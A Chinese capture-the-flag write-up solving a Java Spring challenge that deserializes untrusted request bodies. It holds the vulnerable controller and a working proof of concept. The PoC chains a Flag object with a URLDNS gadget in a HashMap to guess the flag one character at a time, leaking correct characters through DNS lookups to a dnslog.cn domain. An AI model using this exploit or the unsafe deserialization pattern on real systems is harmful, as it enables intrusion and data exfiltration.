package com.web.simplejava.controller;
import com.web.simplejava.model.Flag;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
@RestController
public class FlagController {
@RequestMapping("/")
public String index() {
return "ok";
}
@RequestMapping("/flag")
public String getFlag(@RequestBody byte[] bytes) throws IOException, ClassNotFoundException {
System.out.println(new String(bytes));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
try {
Flag flag = (Flag) new ObjectInputStream(byteArrayInputStream).readObject();
System.out.println(flag);
}catch (Exception e){
}
return "get your flag";
}
}
package com.web.simplejava.model;
import java.io.Serializable;
public class Flag implements Serializable {
public String flag;
public static final Flag flagInstance;
static {
flagInstance = new Flag("flag{test}");
}
public boolean create = true;
public Flag(String flag) {
this.flag = flag;
}
public Flag() {
}
public Flag getFlagInstance(Flag flagTemplate) throws Exception {
if (create){
if (!flagInstance.flag.startsWith(flagTemplate.flag)){
throw new Exception("flag not valid");
} else {
return flagTemplate;
}
} else {
return flagInstance;
}
}
private Object readResolve() throws Exception{
return getFlagInstance(this);
}
}
其实就是反序列化Flag对象,然后盲注flag了。
本来以为直接写个python脚本就可以的了,因为盲注错误的话会抛出异常。
但是试了才发现,try了:
try {
Flag flag = (Flag) new ObjectInputStream(byteArrayInputStream).readObject();
System.out.println(flag);
}catch (Exception e){
}
所以直接反序列化的话没办法判断。
pom.xml里有个这个:
<dependency>
<groupId>com.bishopfox</groupId>
<artifactId>GadgetProbe</artifactId>
<version>1.0-SNAPSHOT</version>
</dependency>
查了一下这是用来探测classpath的一个工具,利用HashMap和DNSLOG链。
说白了就是HashMap里面放2入2个对象,1个是我们要探测的类对象,一个是DNSLOG链对象。HashMap的readObject
的这里:
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
让要探测的那个类在i=0
的时候。如果探测的那个类readObject
失败了,就会抛出异常导致这里无法运行,也就没法i=1
,进入URLDNS链的触发,产生DNSLOG了。
这个思路也可以应用于本题,因为Flag对象反序列化的时候如果flag盲测粗了也会抛出异常导致后续的DNSLOG链无法触发。
小问题就是这个:
public String getFlag(@RequestBody byte[] bytes) throws IOException, ClassNotFoundException {
入参是byte[]
,直接拿网上师傅的函数了:
public static void doGETParam(Object obj) throws Exception{
URI url = new URI("http://192.168.142.1:8081/flag");
HttpEntity<byte[]> requestEntity = new HttpEntity<>(SerializeUtil.serialize(obj));
RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
System.out.println(res.getStatusCodeValue());
System.out.println(res.getBody());
}
POC:
public static void main(String[] args) throws Exception{
String ss="abcdefghijklmnopqrstuvwsyz1234567890-";
//String ss="a";
for (int i=0;i<ss.length();i++){
char dd=ss.charAt(i);
Flag a =new Flag("flag{"+dd);
LinkedHashMap hm = new LinkedHashMap();
URLStreamHandler handler = new SilentURLStreamHandler();
URL url = new URL(null,"http://"+dd+ ".ppsujx.dnslog.cn",handler);
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
//f.set(url, 0xdeadbeef);
hm.put("sie",a);
hm.put(url, "sie");
f.set(url, -1);
doGETParam(hm);
}
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
public static void doGETParam(Object obj) throws Exception{
URI url = new URI("http://192.168.142.1:8081/flag");
HttpEntity<byte[]> requestEntity = new HttpEntity<>(SerializeUtil.serialize(obj));
RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
System.out.println(res.getStatusCodeValue());
System.out.println(res.getBody());
}
用DNSLOG跑出flag即可。